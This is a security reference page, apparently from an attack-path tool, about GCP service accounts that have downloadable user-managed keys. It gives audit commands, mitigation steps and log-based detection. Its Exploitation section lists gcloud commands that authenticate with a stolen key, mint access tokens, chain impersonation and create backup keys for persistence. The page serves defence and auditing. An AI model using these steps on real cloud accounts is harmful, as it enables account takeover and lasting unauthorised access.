Skip to content

GCP_HAS_SERVICE_ACCOUNT_KEY

Copy page

Summary

Forestall ACL Alias GCP_HAS_SERVICE_ACCOUNT_KEY
GCP Alias Entity Relation (Structural)
Affected Object Types Service Accounts
Exploitation Certainty Certain

Description

GCP_HAS_SERVICE_ACCOUNT_KEY is a structural edge representing that a service account has a user-managed (downloadable) key. In GCP, service accounts can authenticate using either:

  1. Google-managed keys — short-lived, auto-rotated, not downloadable.
  2. User-managed keys — long-lived JSON key files that can be downloaded and used from anywhere, indefinitely.

GCP_HAS_SERVICE_ACCOUNT_KEY edges represent user-managed key relationships — the most dangerous form of SA credential because they are persistent, location-independent, and not tied to any GCP resource or IP. A downloaded key file grants the SA’s full permissions from any machine on the internet, bypassing network controls and logging that might detect unusual API calls.

The existence of a GCP_HAS_SERVICE_ACCOUNT_KEY edge on a privileged SA is critical — it means the SA’s permissions are accessible via a static credential that may have been distributed, stored in code repositories, or leaked in past incidents.

Identification

gcloud CLI

# List all user-managed keys for a specific service account
PROJECT_ID="my-project"
SA_EMAIL="sa@$PROJECT_ID.iam.gserviceaccount.com"
gcloud iam service-accounts keys list \
--iam-account=$SA_EMAIL \
--managed-by=user \
--project=$PROJECT_ID \
--format="table(name.basename(), validAfterTime, validBeforeTime, keyAlgorithm)"
# Find all SAs in a project that have user-managed keys
for SA in $(gcloud iam service-accounts list --project=$PROJECT_ID --format="value(email)"); do
KEYS=$(gcloud iam service-accounts keys list --iam-account=$SA --managed-by=user --project=$PROJECT_ID --format="value(name)" 2>/dev/null)
if [ ! -z "$KEYS" ]; then
echo "SA with user-managed keys: $SA"
echo "$KEYS"
fi
done

Exploitation

If a SA key has been exfiltrated — leaked from a source repository, CI/CD log, cloud storage bucket, or config file — an attacker can authenticate as the target SA from any internet-connected machine without any GCP infrastructure.

gcloud CLI

# Authenticate using the stolen key file
gcloud auth activate-service-account --key-file=/path/to/stolen-key.json
# Confirm the active identity and obtain an access token
gcloud config get-value account
gcloud auth print-access-token
# Call GCP APIs as the target SA
curl -H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudresourcemanager.googleapis.com/v1/projects"
# If the SA holds serviceAccountTokenCreator on other SAs, chain impersonation
HIGH_PRIV_SA="[email protected]"
gcloud auth print-access-token --impersonate-service-account=$HIGH_PRIV_SA
# Create additional keys on other SAs for redundant persistence
BACKUP_SA="[email protected]"
gcloud iam service-accounts keys create /tmp/backup-key.json \
--iam-account=$BACKUP_SA

The key file is valid indefinitely until explicitly revoked — even if the attacker’s original IAM bindings are removed, the stolen key continues to authenticate as the SA.

Mitigation

  1. Audit all user-managed keys in the organization and delete any that are no longer needed, preferring Google-managed keys wherever possible.
  2. Enforce the constraints/iam.disableServiceAccountKeyCreation org policy to prevent SA keys from being created across the organization.
  3. When keys are genuinely required, set an expiration time at creation using the --expiration-time flag.
  4. Rotate any existing keys on a maximum 90-day cycle.
  5. For workloads running outside GCP, use Workload Identity Federation instead of SA keys to eliminate the need for long-lived downloadable credentials.

Detection

# Monitor SA key creation
gcloud logging read \
'protoPayload.methodName="google.iam.admin.v1.CreateServiceAccountKey"' \
--project=$PROJECT_ID \
--format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"

Alert on:

  • Creation of SA keys on privileged service accounts.
  • SA keys created outside of known CI/CD systems or automation accounts.

References

Was this page helpful?

Thank you for your feedback.